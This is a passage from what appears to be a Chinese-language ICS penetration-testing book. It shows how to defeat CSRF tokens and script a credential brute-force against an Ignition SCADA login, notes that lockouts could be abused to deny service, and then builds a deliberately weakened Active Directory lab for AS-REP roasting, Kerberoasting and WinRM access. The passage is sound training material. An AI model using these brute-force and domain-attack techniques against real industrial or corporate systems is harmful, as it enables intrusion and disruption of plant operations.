GET /idp/default/authn/login?app=gateway&token=Pj0cPAqKDiqz0WvV4xsfjwnSd2e2Tt74 Xz1TcxT7cnQ&token=GH3KbGJqdSGsTTUQNDqKB7WFLR0NOoJgwFni Bohji40&response_type=code&client_id=ignition&redirect_uri=%2Fdata%2Ffederate%2 Fcallback%2Fignition&scope=openid&state=eyJraWQiOiJrMSIsImFsZyI 6IkhTMjU2In0.eyJqdGkiOiJyRUNzVFdPUTE4aDVQM2ViSUd0cnBDc25BTENncmZ nakNpNl9nQWlxYjZrIiwidXJpIjoiL3dlYi9ob21lIn0.ogt_6V-fkMDS2gZCVm0lsxc4dF2XrauixoEFznsZ-2c&nonce=XepL7IYBXqStUEVhMKtl83hxnYL9wI1fdM1wsPJgxpM&prompt=login&max_age=1 HTTP/1.1
Host: 192.168.2.10:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0)
Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.10:8088/idp/default/authn/login?app=gateway&token=KeaSv4c6jR0-KTtpNQ16ob3dYKBs8D9BO1aokZUQ il0&token=Pj0cPAqKDiqz0WvV4xsfjwnSd2e2Tt74Xz1TcxT7cnQ&response _type=code&client_id=ignition&redirect_uri=%2Fdata%2Ffederate%2 Fcallback%2Fignition&scope=openid&state=eyJraWQiOiJrMSIsImFsZy I6IkhTMjU2In0.eyJqdGkiOiJyRUNzVFdPUTE4aDVQM2ViSUd0cnBDc25BTENncm ZnakNpNl9nQWlxYjZrIiwidXJpIjoiL3dlYi9ob21lIn0.ogt_6V-fkMDS2gZCVm 0lsxc4dF2XrauixoEFznsZ-2c&nonce=XepL7IYBXqStUEVhMKtl83hxnYL9w I1fdM1wsPJgxpM&prompt=login&max_age=1
Connection: close
Cookie: default.sid=fj0zNMpRCctgmCAWcfJlJwrhPIVrZD-Auda96Bmghk4; JSESSIONID=node01u4ie14zjwage1dqw2zu6fs16q8.node0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
现在,尝试使用 admin**:**admin 凭证登录。我知道我们将真实的凭证设置为 scada**:**scada,但我们将假设在进行渗透测试时刚刚发现了这个系统。此外,你很有可能通过这样做意外猜到正确的凭证。这是因为 运营技术(OT)领域的一个普遍问题是继续使用工厂凭证。填写这些凭证后,你应该处于登录界面,类似于以下截图所示的状态:
图 9.24 – admin:admin 凭证
现在,我们要导航到 BurpSuite,查看刚刚拦截到的 POST 请求,如下所示:
图 9.25 – POST 请求
在这里,我们要利用 BurpSuite 中一个强大的工具,叫做 Repeater。它允许我们反复修改并测试请求,因此得名。为此,我们将右键点击并选择 Send to Repeater 选项,如下所示:
图 9.26 – 发送到 Repeater
这将把我们拦截到的POST请求传递到Repeater工具。你应该会看到类似以下的界面:
图 9.27 – Repeater 工具
进入Repeater工具后,按下发送按钮将请求传递到服务器。注意屏幕右侧的响应。仔细观察,你会看到传递的信息是无效令牌:
图 9.28 – 无效令牌
仔细观察我们刚刚使用Repeater工具发送的请求,我们可以看到一个看起来像跨站请求伪造(CSRF)令牌。这使得暴力破解变得更加复杂,因为现在,我们必须弄清楚 Ignition 是如何或者通过什么工具生成这些令牌的:
图 9.29 – CSRF 令牌
知道我们需要找到令牌生成的源头意味着我们需要进行更深的调查。让我们从回到代理 | **HTTP历史开始,然后点击GET方法,显示我们的请求和响应**的详细信息,如下图所示:
图 9.30 – HTTP 历史
在这个特定的会话中,并没有什么特别引起我们注意的地方。在这些不同的请求交换过程中,应该是创建并共享了 CSRF 令牌,在这个过程中,点击GET请求上方的POST方法,如下图所示,看看是否能发现任何关于令牌创建的线索:
图 9.31 – POST 请求
好的,这看起来很有希望,因为我们可以看到一个令牌从/idp/default/authn/next-challenge的响应中传递出来。它看起来像是用户名-密码POST请求中需要的令牌,如下图所示:
图 9.32 – 下一个挑战令牌
现在,右键点击请求并将其发送到Repeater,就像之前那样,尝试生成下一个挑战令牌。返回到Repeater标签后,按下发送按钮以测试POST请求。你应该会看到类似以下的输出:
图 9.33 – 重新发送令牌
再一次,我们收到了无效的令牌消息,这意味着我们的请求令牌已经过期。我们需要进一步追溯,查看我们的下一个挑战令牌是如何生成的。返回到代理 | HTTP 历史,查看下一个挑战POST 请求之前的请求。在下图中,我们可以看到在之前的下一个挑战之前有一系列GET请求:
图 9.34 – oidc GET 请求
这里有一个非常有趣的GET请求,它恰好在路径中包含oidc。OpenID Connect(OIDC)用于验证尝试安全、轻松地进行身份验证的用户。如果想了解更多关于oidc的信息,可以查看www.onelogin.com/blog/openid-connect-explained-in-plain-english。就我们的用途而言,我们只需要知道这是创建我们令牌的起点。现在,点击这个GET方法,我们将看到以下请求和响应输出:
图 9.35 – OIDC 302 错误
如你所见,我们得到一个响应代码302,并且在Location:字段中,我们可以看到我们的next-challenge令牌。现在,再次点击发送我们的请求到Repeater工具,并点击发送按钮。你将收到以下输出:
图 9.36 – OIDC 下一挑战令牌
这非常有希望,因为我们现在可以看到已经创建了一个新令牌,并且没有错误信息。Repeater工具的优点是我们可以编辑数据并重新发送,查看输入数据如何影响响应。继续点击发送几次;你会注意到唯一变化的就是那个特定的令牌。现在,如果你一直跟着操作,你的Repeater标签中应该有三个标签:
图 9.37 – 三个重复器会话
Repeater工具会跟踪我们在之前步骤中发送的请求,这使得它成为一个非常有用的工具,帮助我们测试关于 CRSF 令牌生成的理论。话虽如此,再点击一次发送按钮以生成一个新的oidc令牌。复制专用的令牌,如下截图所示:
图 9.38 – OIDC 令牌生成
现在,我们想要点击标有数字2的标签。你将看到我们之前生成next-challenge令牌失败的尝试。用我们新生成的oidc令牌替换请求中的令牌,如下截图所示:
图 9.39 – 用新 oidc 令牌替换失败的令牌
重新发送请求。如果你按照步骤正确操作,你应该会得到一个200响应,内容类似如下:
图 9.40 – 200 响应
太好了!现在,我们正朝着正确的方向前进。从这里开始,我们需要复制我们新生成的next-challenge令牌,并点击标记为1的重复器标签。你会看到我们最初失败的用户名密码挑战尝试,响应消息为无效令牌。用我们生成的next-challenge令牌替换 CSRF 令牌。我们的请求应该如下所示:
图 9.41 – 用户名密码挑战 新令牌
现在,重新发送这个请求;你应该看到一个200响应,表示我们传递了一个有效的 CSRF 令牌,并且返回了 JSON 响应。在输出中,我们可以看到success为false,这意味着我们使用的凭证是错误的,这是我们预期的结果,同时也看到一个有效的响应令牌,如下所示:
图 9.42 – 绕过 CSRF 令牌
现在我们要验证我们的理论是否正确。鉴于我们在工业控制系统(ICS)实验室中使用scada**:**scada凭证安装了 Ignition,我们重新执行步骤以验证一切是否如预期工作。你应该看到以下输出:
图 9.43 – 成功认证
就这样,我们找到了生成唯一 CSRF 令牌并暴力破解 Ignition 认证的方法。现在,除了击败 CRSF 的兴奋感,我们意识到手动执行这个过程将需要一生的时间,而在渗透测试过程中我们根本没有这么多时间。因此,使用 BurpSuite,我们有多种方法来自动化这些步骤。如果你使用的是专业版,你可以通过以下菜单生成 CSRF PoC:
图 9.44 – 专业版 – 生成 CSRF PoC
如你所见,我正在使用社区版,这意味着我可以使用会话规则来运行各种宏,或导入 Burp 扩展,比如自定义参数处理器,如下图所示:
图 9.45 – 自定义参数处理器
然而,由于社区版的限制,这种攻击方法将需要很长时间 – 可能没有手动执行攻击那么久,但对于我们的需求来说,时间仍然太长。因此,建议要么升级到专业版,要么编写自己的脚本。我们将在下一部分进行这一操作。
为暴力破解 SCADA 编写脚本
我假设通过阅读本书,你对编程/bash 脚本有一定的熟悉程度。如果没有,我强烈建议你复习一下 bash 脚本和/或 Python。以下是我个人推荐的两本书:
-
使用 bash 进行网络安全操作,作者 Paul Troncone 和 Carl Albing,博士
-
黑帽 Python,作者 Justin Seitz
这些是您了解 Bash 和 Python 可以做什么以及如何执行的好资源。最重要的是,通过阅读这本书并阅读这些章节,您将学会如何使这些脚本/编程语言在您的渗透测试中发挥作用。
我在本节之前加了上述说明,因为我将尽力使这个过程尽可能轻松。作为免责声明,我必须说我最多只是一个开发者,绝不是程序员。我之所以要做出这种区分,是因为决定通过构建测试驱动程序来开展职业生涯的程序员将审查我的代码并会心一笑。然而,我可以说我可以通过我的代码从 A 点到 B 点,坦率地说,最终结果才是我关心的。
说到这里,让我们开始吧?最快的方法是从Repeater工具开始,导航到Request列,并具体从/idp/default/oidc/auth?请求开始,如下截图所示:
图 9.46 – OIDC 请求
现在,我们要右键单击Request。您将看到一个上下文菜单,您可以选择复制为 curl 命令,如下截图所示:
图 9.47 – 右键单击请求
打开终端,并通过将其粘贴到命令行并运行来测试您复制的curl命令。您应该看到以下结果。在这里,我们将专注于生成的令牌。这应该与我们在上一节中使用Repeater工具执行的内容相匹配:
图 9.48 – curl OIDC 请求
多次运行命令并分析结果。您应该看到此令牌已被唯一生成。太棒了 - 现在怎么办?您必须使用您喜爱的编辑器创建一个bash文件!为了简单起见,我将使用 nano。在您的终端中运行以下命令:
nano exploit.sh
这将打开 nano 编辑器。在这里,我们要粘贴刚刚使用的curl命令。接下来,我们要将我们的curl命令包装在eval语句中,并使用grep提取我们的令牌,如下截图所示:
图 9.49 – 我们的 bash OIDC 令牌脚本
仔细看一下具体的命令,您会看到我们将我们的curl命令分配给一个名为oidc_cmd的变量。然后,我们对该命令运行eval并将其传输到grep命令中:
oidc_token=oidc_cmd | grep -oP '(?<=c&token=).*(?=&response)')
我们正在使用 grep 查找位于c&token=和&response之间的字符串,它来自我们curl的响应。需要注意的是,前一个命令中的c字符是前一个令牌的最后一个字符,因此在运行此脚本之前,可能需要对其进行调整。务必在grep语句中添加此字符,因为curl响应生成了两个令牌,我们只关心我们的oidc令牌。
现在,继续测试你刚刚创建的脚本,运行以下命令:
bash exploit.sh
你应该看到以下输出:
图 9.50 – 创建的 OIDC 令牌
现在,让我们重复相同的步骤,右键点击 BurpSuite 中Repeater工具下的Request,然后选择Copy as curl command来请求/idp/default/authn/next-challenge。我们必须将其粘贴到文本编辑器中并进行封装,正如我们之前所做的那样。然而,这一次,我们需要将oidc_token作为参数传递到新封装的curl命令中,如以下屏幕截图所示:
图 9.51 – next-challenge 令牌脚本
比较两条命令中的grep语句可以看出,它们之间存在轻微的差异,因为/next-challenge请求的响应以 JSON 对象的形式返回,因此我们需要相应地解析它。
注意
如果在这里遇到问题,无法让/next-challenge提供200响应代码,从而找到此令牌,可能需要通过刷新 Ignition 登录屏幕来刷新default.sid的会话 ID,捕获 BurpSuite 中的请求,然后更新每个curl请求的default.sid值。如果你收到400响应代码并显示Invalid Session消息,那么你就知道需要刷新了。
如果你已经跟着操作,复制了所有内容,并且拥有有效的会话 ID,那么在运行你的利用脚本时,你应该看到以下输出:
图 9.52 – 生成的 next-challenge 令牌
此时,你应该已经拥有oidc令牌和next-challenge令牌。现在,是时候将新生成的next-challenge令牌传递到 auth 请求中了。重复我们之前完成的步骤:
-
右键点击我们的
/idp/default/authn/submit-username-password-challenge请求。 -
选择
Copy as curl command。 -
将你刚才复制的
curl命令粘贴到文本编辑器中。 -
为评估封装
curl命令。 -
将
next-challenge令牌传递给auth请求。 -
如果超时,请更新
default.sid。
你的利用脚本中的auth部分应该类似于以下内容:
图 9.53 – auth 命令
在这里,你可以看到我们将默认的凭据 scada**:**scada 硬编码以测试我们的脚本是否成功。如果一切正常,并且 default.sid 仍然有效,当你运行脚本时,输出应如下所示:
图 9.54 – 成功的身份验证
我们可以重构那些我们知道会在不同测试中发生变化的参数。我使用了 host、sid、user 和 pass 参数。
我们从过去的渗透测试经验中知道,客户会更改他们的主机地址,因此我们应该创建一个变量来处理这个问题。我们知道需要创建一个初始的 default.sid,并且我们需要将其传递给所有三个请求,所以我们将为此行为创建一个变量。我们的用户名和密码也应该分别有变量。以下是初始重构的样子:
图 9.55 – 脚本重构
我们需要测试重构后的结果,以验证我们没有破坏任何内容。所以,运行 exploit 脚本,你应该会得到类似以下的结果:
图 9.56 – 重构后的测试
现在,这一节的标题中有“穷举”的字样。这意味着我们需要结合一种方法来读取用户和密码的列表,并尝试在 Ignition 的登录页面上进行身份验证。我再次进行了重构,移除了传递的一些不必要的头部信息,并且将三个 curl 请求封装成了一个函数,如下所示:
图 9.57 – test_auth 函数
在这里,你可以看到 next_cmd 和 auth_cmd 的大小大大缩小。从这里开始,我们需要构建一种方法来读取用户列表和密码列表。我们希望添加打开文件、逐行读取并将其传递给我们之前声明的变量的功能。使用以下伪代码,我们可以根据需要调整:
while IFS='' read -r user || [[ -n "${user}" ]]; do
test_auth
if [[ $success == "true" ]]; then
echo $output
fi
done < $1
这里的基本思路是我们将为用户传入一个文件名。然后,while 循环将遍历每个用户,设置我们的 $user 变量,并启动 test_auth 函数,后者将开始令牌的创建和身份验证尝试。运行以下命令:
bash exploit.sh users.txt
这将允许我们将 users.txt 传递给 while 循环,并让 internal field separator** (IFS**) 遍历每个用户。在 users.txt 中,我们有三个用户名 – "plc"、"scada" 和 "test",以简化操作。我还额外增加了读取密码文件和创建一些详细信息的功能。请查看以下代码示例:
图 9.58 – 暴力破解用户名和密码
你现在应该运行的命令如下:
bash exploit.sh users.txt passwords.txt -v
在passwords.txt中,为了简便起见,我只添加了四个密码,它们分别是"admin"、"password"、"scada"和"changeme"。运行上述命令应该会生成以下输出,其中我们成功进行了身份验证:
图 9.59 – 成功的身份验证
在这里,你已经有了一个完全成熟的暴力破解脚本。我们创建了oidc令牌,并用它们自动生成 CSRF 令牌,还用新编写的脚本对用户名和密码进行了测试,验证了 Ignition SCADA 系统的安全性。
免责声明
在响起警报并向本地计算机应急响应团队(CERT)提交漏洞之前,Inductive Automation 已经为暴力破解攻击实施了服务器端的缓解措施。如果你使用已知的用户名尝试五次错误密码,Ignition 会在你最后一次尝试后 5 分钟内锁定该账户。
所以,除非你有一个精心整理的用户列表和一个高度集中的密码列表,否则你将不得不调整脚本,以适应每五次失败尝试就锁定任何真实账户 5 分钟的事实。更不用说,如果你没有进行充分的工作,暴力破解的这种行为很可能会被 IDS 发现,这一点在第六章,数据包深入分析中已提到。
现在,讽刺的是,如果你调整脚本故意锁定真实用户,它将迫使某人进行身份验证以重启 Ignition,从而覆盖这些锁定。这最终会对 SCADA 服务器造成拒绝服务(DOS)攻击。
在这一部分,我们讲解了如何从 BurpSuite 中提取信息并将其转化为有用的暴力破解工具。我们在前几章中涵盖的技能基础上进行了扩展,通过绕过客户端令牌生成拓宽了我们的知识。这是进行渗透测试时非常重要的一项技能,它帮助你理解环境,并尽可能多地提取信息,以打开那些乍一看似乎被锁住的门。
总结
我觉得我们在本章中涵盖了很多内容,从安装 FoxyProxy 和使用 BurpSuite 捕获并重放请求,到制定 Ignition SCADA 如何处理身份验证、提取知识并构建可编写脚本的工具来帮助自动化和生成暴力破解的令牌。你肯定会在你的职业生涯中使用这些工具和技巧。
在下一章中,我们将使用到目前为止学到的所有知识,对我们的 ICS 实验室进行伪模拟渗透测试。
第十章: 我能做到 420
到目前为止,我们主要关注自动化——了解 PLC 是什么以及它如何通信。我们讨论的一个关键话题是连接性——特别是将 PLC 连接到物理 I/O,以及如何将其连接回 SCADA。我们还了解了 Modbus 和 Ethernet/IP,并学习了如何与 I/O 交互。此外,我们还讨论了使用各种工具来扫描和枚举端口和服务,以发现环境中可能运行的协议。在上一章中,我们探讨了如何使用 Burp Suite 与 Ignition,我们的 Web 托管 SCADA 系统进行交互。所有这些工具和技能对于完成成功的渗透测试至关重要。然而,实际上我们大部分时间都花在了查看 SCADA 和物理硬件方面的网络。根据你的渗透测试,通常被视为白盒测试,客户可能会将你放入 ICS 网络,并基本上给你自由进行发现,并提供以下内容:一个Active Directory(AD)帐户和 ICS 网络的图示。这使你避免了穿越公司网络的陷阱,反而可以通过非军事区、穿越防火墙,进入新的域。
如果本章仅聚焦于这些内容,那将是不公平的。在大多数渗透测试中,我通常被丢到公司网络的一侧,然后被要求突破进入工业网络。做到这一点需要理解工业网络中存在的技术。这样的理解将使我们能够获得立足点,进一步深入网络。在这里,我们将为我们日益扩展的实验室添加一些新元素。我们将模拟一个灰盒测试,在这个测试中,你将被放入公司网络,然后发现一条穿越的路径。
本章我们将涵盖以下主要主题:
-
安装企业环境元素
-
发现并发起我们的攻击
-
获取 shell
技术要求
本章内容,你将需要以下资源:
-
一台已安装并配置好的 Windows 2019 域控制器。点击以下链接下载你选择的服务器的 ISO:
www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019。 -
一台连接到域控制器的 Windows 10 工作站。点击以下链接获取 Windows 10 ISO 的访问权限:
www.microsoft.com/en-ca/software-download/windows10ISO。 -
一台已经运行的 Kali Linux 虚拟机,并安装了以下工具:
-
Impacket:可以在这里获取:github.com/SecureAuthCorp/impacket/releases。 -
Kerbrute:可在此处下载:github.com/ropnop/kerbrute/releases/tag/v1.0.3。 -
Evil-WinRM:可在此处下载:github.com/Hackplayers/evil-winrm。
-
你可以在此处查看本章代码的实际操作:bit.ly/3AzpxFp
安装企业环境元素
在第一章中,使用虚拟化,我们安装了四台虚拟机(VMs),其中包括两台 Ubuntu、一台 Windows 7 和一台 Kali Linux 分发版。接着,我们基于普渡模型创建了子网,并为这些虚拟机分配了静态 IP 地址,将它们分别对齐到各自的组织网络层级。在本节中,我们将通过设置运行 AD 的 Windows 2019 域控制器来添加企业侧的 ICS 实验室,并配置域名系统(DNS)和动态主机配置协议(DHCP)服务器。我们还将一台 Windows 10 工作站连接到该域。作为复习,我们的实验室目前应该看起来像下图所示:
图 10.1 – 当前实验室布局
一旦完成域控制器和工作站的设置,你的网络布局应该类似于下图所示:
图 10.2 – 企业实验室新增
接下来,我们将看看如何安装和配置域控制器。
安装和配置域控制器
访问以下链接以查找与域控制器实验室相关的 ISO 文件:www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019。
现在,我将列出安装和配置域控制器的步骤。不过,我不会覆盖一些显而易见的步骤,也不会重新讲解在第一章中讲过的内容,使用虚拟化。如果你需要复习如何将 ISO 文件放入 ESXi 服务器的数据存储中,建议回到第一章进行复习。以下是所需的步骤:
-
我假设你已经完成了 ISO 文件的加载,并且将域控制器带到 Windows 更新步骤部分。现在参考以下截图,这是我们将继续安装和配置部分的位置:
图 10.3 – Windows 更新
-
接下来,我们需要禁用VM 网络接口,并将首选 DNS 服务器的静态 IP 地址设置为
127.0.0.1,如下图所示:图 10.4 – 企业界面
-
接下来,我们将更改计算机的名称。我将使用名称
dc01,如下图所示:图 10.5 – 更改计算机名称图 10.5 – 更改计算机名称
-
现在,计算机需要重启才能应用名称更改。系统会弹出一个窗口,允许你重启系统。服务器重启后,我们需要导航到服务器管理器屏幕并选择添加角色和功能,如下图所示:图 10.6 – 添加角色和功能
图 10.6 – 添加角色和功能
系统会提示你进入选择安装类型屏幕,在此选择下一步 >,如下图所示:
图 10.7 – 选择安装类型
-
接下来,系统会提示你进入选择目标服务器屏幕,在此你需要确保选择了你的主服务器并点击下一步 >,如下图所示:图 10.8 – 选择目标服务器
图 10.8 – 选择目标服务器
-
从这里,你将看到一系列的角色供你选择。我们需要选择Active Directory 域服务、DHCP 服务器和DNS 服务器,如下图所示:图 10.9 – 选择服务器角色
图 10.9 – 选择服务器角色
-
选择每个复选框后,系统会弹出一个窗口,提供有关你将要安装的角色的详细信息。点击添加功能按钮确认每个角色的选择。然后你将看到选择功能窗口。只需点击**下一步 >**而不选择任何功能(除非是默认选中的功能)即可继续安装过程,如下图所示:图 10.10 – 选择功能
图 10.10 – 选择功能
-
点击下一步 >按钮,依次通过
AD DS、DHCP 服务器和DNS 服务器信息屏幕。然后,你将进入确认安装选择屏幕,可以通过点击安装按钮继续:图 10.11 – 确认安装选择图 10.11 – 确认安装选择
-
安装完成后,系统会进入安装进度屏幕,你需要点击将此服务器提升为域控制器选项,如下图所示:图 10.12 – 提升域控制器
图 10.12 – 提升域控制器
-
在这里,你将选择添加一个新森林选项。然后将域名设置为
labcorp.local,并点击**下一步 >**按钮:图 10.13 – 部署配置
-
接下来,你将看到域控制器选项。保持所有设置不变,并设置你的目录服务恢复模式(DSRM)密码,如下所示的截图所示:
图 10.14 – 域控制器选项
-
点击下一步 >,通过 DNS 选项,但不要选择创建 DNS 委派。然后,你将看到附加选项窗口。在这个窗口中,NetBIOS 域名将自动为你生成。点击下一步 >,然后在路径页面上再次点击下一步 >。在审查选项页面上,再次点击下一步 >。这样做将开始先决条件检查。从这里开始,我们点击安装,如下所示的截图所示:
图 10.15 – 先决条件检查
-
安装完成后,你将会被注销,服务器会重新启动。系统重新启动后,你将看到现在已经拥有了
LABCORP域,如下所示的截图:图 10.16 – LABCORP 域
-
现在我们已经安装了 AD,接下来我们要快速添加一个域管理员,以继续进行接下来的两个服务器配置。请继续在Active Directory 用户和计算机中添加一个新用户,如下所示:
图 10.17 – 用户和计算机
-
我使用了
lab.da:Password123作为我的凭证,并将新用户设置为Domain Admins的成员,如下所示:图 10.18 – 域管理员
由于你已经添加了一个域管理员,你将继续并将
LabGroups和LabUsers作为labcorp.local域下的组织单元添加,如下所示:图 10.19 – 组织组
-
接下来,你将在
LabGroups组织单元下创建一个名为Scada的组:
图 10.20 – Scada 组
接下来,你要创建三个新用户,并将它们添加到LabUsers组织单元中。用户信息如下:
-
operator1**/**Password1 -
operator2**/**Password2 -
operator3**/**Password3
这是一个示例,使用operator1,将密码设置为Password1234,并使其成为Scada组的成员:
图 10.21 – LabUsers operator1
在创建operator2账户时,我们将调整一个特定设置,下一节将讨论此设置。在用户和计算机中,我们需要选择operator2,然后选择账户选项卡。接着,在账户选项下,选择不要求 Kerberos 预身份验证选项。这最终是防止 Kerberos 暴力破解的保护机制。如果禁用此功能,我们可以捕获未使用此功能的用户的哈希值:
图 10.22 – 禁用 Kerberos 预身份验证
现在我们已经禁用 Kerberos 预身份验证,我们将继续安装并配置 DNS 服务器。
添加并安装 DNS 服务器
下一步是退出本地管理员账户,并以labcorp\lab.da重新登录到服务器,继续配置 DNS 服务器:
-
在服务器管理器仪表盘上,从左侧菜单中选择
DNS选项。这将列出可以配置为 DNS 的服务器。选择DC01服务器,右键点击它。这将弹出一个上下文菜单,允许我们选择DNS 管理器:图 10.23 – DNS 服务器
-
DNS 管理器会弹出一个窗口,列出你可以添加区域的服务器。我们将要在反向查找区域文件夹下创建一个新区域:
图 10.24 – DNS 管理器
-
在这里,我们需要选择主区域,然后点击下一步 > 按钮:
图 10.25 – 新区域向导
-
然后,我们需要选择一个选项,以便在
labcorp.local域中的所有域控制器上复制。点击下一步 > 按钮,然后选择Ipv4 反向查找区域选项,再点击下一步 >。在这两屏后,你将进入一个界面,可以声明反向查找区域名称的网络 ID:图 10.26 – 反向查找区域名称
-
在动态更新界面点击下一步 >,然后最后点击完成。此时,你将看到一个已建立并运行的反向区域。接下来,我们需要通过右键点击服务器,选择**为所有区域设置老化/回收...**来设置资源回收:
图 10.27 – 所有区域的回收
-
设置选项为回收过时的资源记录,然后应用以下截图所示的设置:
图 10.28 – 设置老化/回收属性
在设置了老化/清理属性后,您就完成了 DNS 服务器的配置。现在,我们将继续安装和配置 DHCP 服务器。
添加和安装 DHCP 服务器
我们已经完成了 DNS 服务器的设置。现在,我们将继续通过以下步骤添加和安装 DHCP 服务器:
-
点击左侧菜单中的
DHCP选项将显示服务器列表。您应该会看到一条通知——需要为 DC01 上的 DHCP 服务器配置。右键点击服务器并选择DHCP 管理器:图 10.29 – DHCP 服务器配置
然后,您将看到以下屏幕:
图 10.30 – DHCP 管理器
-
右键点击
dc01.labcorp.local服务器,从上下文菜单中选择授权:图 10.31 – 上下文菜单
-
授权后,我们将为 IPv4 添加一个新作用域。右键点击
IPv4图标,选择新建作用域...:图 10.32 – IPv4 新作用域
-
这将带来一系列配置屏幕。逐个点击屏幕并为您的作用域命名。我使用
Lab Corp作为名称,以简化操作。接下来,您将进入一个IP 地址范围配置屏幕,在这里需要输入起始和结束 IP 地址。下一个屏幕显示了我选择的选项:图 10.33 – IP 地址范围
-
对于添加排除项和延迟选项,我简单地留空并点击下一步 >按钮。对于租期选项,我将其设置为
8天并点击下一步 >。完成后,您将看到一个屏幕,在此选择是以应用这些选项。然后点击下一步 >按钮。在路由器屏幕上,我没有做任何更改,直接点击下一步 >。如果一切配置正确,您现在应该看到一个域名和 DNS 服务器的屏幕,应该会自动填充,如下截图所示:图 10.34 – DNS 服务器屏幕
-
点击下一步 >通过后续的屏幕,并确保选择是以激活作用域。最后,点击完成按钮。现在,我们想通过点击之前看到的通知横幅上的更多链接来运行后配置。这将带我们进入一个屏幕,显示部署后配置选项,在这里我们需要点击完成 DHCP 配置:
图 10.35 – 完成 DHCP 配置
-
这将带你进入以下授权屏幕,在这里你需要点击提交按钮,然后点击关闭:
图 10.36 – 授权
现在我们应该已经有一个完全配置好的域控制器,正在运行 AD、DNS 和 DHCP 服务器。
添加和安装网络文件共享
接下来,我们将通过点击文件和存储服务,选择任务,然后点击**新建共享...**来模拟网络文件共享,如下图所示:
图 10.37 – 文件和存储服务
在下一个截图中,你可以看到我们有五个选项,适用于两种协议:
-
服务器消息块(SMB)
-
网络文件系统(NFS)
如果你记得在第六章中,我们讨论了这些协议通常存在于公司网络内部。这里是这些协议的主要来源之一。我们想生成SMB 共享 - 快速,如下图所示:
图 10.38 – SMB 和 NFS 共享选择
在下一个步骤中,我们将选择服务器并按照如下方式共享位置:
-
dc01 -
C:
我们将LabFiles1作为共享名称,因为这将自动生成共享的本地路径和共享的远程路径值,如下图所示:
图 10.39 – 指定共享名称
现在,在其他设置、权限和确认屏幕上,点击下一步 >按钮。最后,点击创建,文件共享就完成了。
配置 Kerberos
我们需要在域控制器上设置 Kerberos,以便我们能够检查 Kerberoasting,这是一种常见的攻击方式,可能会被用来利用 AD。输入以下命令来设置服务主体名称(SPN),此处使用的是operator3:
setspn -a DC01/operator3.labcorp.local:9999 labcorp\operator3
如果命令成功执行,你应该看到如下输出:
图 10.40 – SPN 设置
现在我们已经设置了 SPN,安装和配置域控制器功能的步骤也就完成了。接下来,我们可以开始搭建工作站。
安装和配置工作站
请访问以下链接查找与 Windows 10 相关的 ISO:www.microsoft.com/en-ca/software-download/windows10ISO。
我将让你启动 Windows 10 Pro for Workstations 虚拟机,我会直接跳到我们将工作站添加到域的步骤:
-
在所有更新设置完成后,你需要进入 Windows 开始菜单。然后,前往设置 | 系统 | 关于 | 重命名此 PC(高级),如下所示的截图所示:
图 10.41 – 关于此 PC
-
点击此屏幕上的重命名此 PC(高级)链接,它将显示以下系统属性屏幕:
图 10.42 – 系统属性
-
从这里,点击更改...按钮以设置计算机名称。然后设置工作站可以加入的域名,如下所示:
图 10.43 – 计算机名称和域
-
如果一切配置正确,你应该会看到一个 Windows 安全弹窗,提示你输入具有加入域权限的账户的用户名和密码。如果你还记得上一节中,我们创建了一个域管理员账户。请使用该账户的凭证将工作站加入域:
图 10.44 – 域管理员登录
如果成功,你将看到以下消息:
图 10.45 – labcorp.local
一旦点击确定按钮,你将收到通知,告知你需要重启工作站才能使更改生效。请继续重启工作站。
-
最后一步是测试我们在上一节创建的用户是否能够登录到这台计算机。使用
operator1账户登录到工作站计算机:
图 10.46 – operator1 登录
为了将工作站置于脆弱状态,还需要执行一些额外的配置:
-
通过启动Windows 远程管理服务来启用它。
-
将
Scada添加到本地组 | 远程管理用户。 -
确保已启用防火墙规则,允许
3389端口。
在服务下,打开Windows 远程管理(WS-Management)属性。在常规选项卡下,将启动类型设置为自动,然后点击启动,使服务状态变为正在运行,如下所示:
图 10.47 – 服务状态
在这里,我们要将LABCORP\Scada组添加到 Windows 10 工作站的远程管理用户组中:
图 10.48 – 远程管理组
在Windows Defender 高级安全防火墙中,启用Windows 远程管理:
图 10.49 – Windows Defender
这标志着工作站安装和配置的完成。接下来我们将转到 Kali 虚拟机,确保我们已安装必要的工具,以便继续前进。
Kali Linux 工具
现在,我们已经安装并配置了企业网络的一部分,接下来我们将打开 Kali Linux 攻击盒子。从这里,我们需要安装一些在技术要求部分提到的工具。这些工具在处理基于 Windows 的环境时非常有用。我认为我参与过的 100% 的公司都在其企业环境中运行了某种形式和配置的 Active Directory(AD)。需要安装的工具如下:
-
Impacket: 我们将在 Kali Linux 虚拟机上安装的第一个工具是 Impacket。它实际上是一个 Python 类库,能够在数据包级别与基于 Windows 的协议进行交互。该工具负责完成会话的建立、连接、维护和拆除等繁重工作。要开始使用,请访问以下链接:github.com/SecureAuthCorp/impacket/releases。从这里,下载最新的包。完成后,解压
.tar文件并在impacket文件夹内运行以下命令:python3 -m pip install . -
Kerbrute: 接下来,我们需要安装 Kerbrute。它是一个自动化枚举 Active Directory(AD)账户的工具。请使用以下链接:github.com/ropnop/kerbrute/releases/tag/v1.0.3。确保您修改了文件的可执行权限。
-
Evil-WinRM: 最后,我们需要安装Evil-WinRM。这是一个用于渗透测试 Windows 远程管理(WinRM)的工具。运行以下命令:sudo gem install evil-winrm
在本节中,我们花时间构建了域控制器和工作站。我们为域控制器添加了 AD、DNS、DHCP 和文件共享功能。我们创建了一个域并将用户添加到该域中,然后将工作站加入该域。最后,我们确保我们的 Kali Linux 虚拟机具备了“PWN”企业环境所需的工具。在下一节中,我们将使用这些已安装的工具,继续推进并在企业网络中发起攻击。
发现并启动我们的攻击
我们已经建立并配置了企业实验室,并将新工具安装到了 Kali 发行版中。接下来,我们要做的就是开始查看我们所接入的网络。在第七章,《扫描 101》中,我们介绍了许多不同的工具。我们可以在这里使用这些工具进行发现性攻击。然而,我觉得更合适的方法是考虑其他方式来扩展我们的渗透测试工具箱。
让我们先跳过rustscan和nmap,直接开始通过 NetBIOS 名称枚举主机。使用以下命令在当前子网中运行nbtscan命令:
nbtscan 172.16.0.0/24
现在我们应该能看到两台机器,DC01和WS01,如下图所示:
图 10.50 – nbtscan
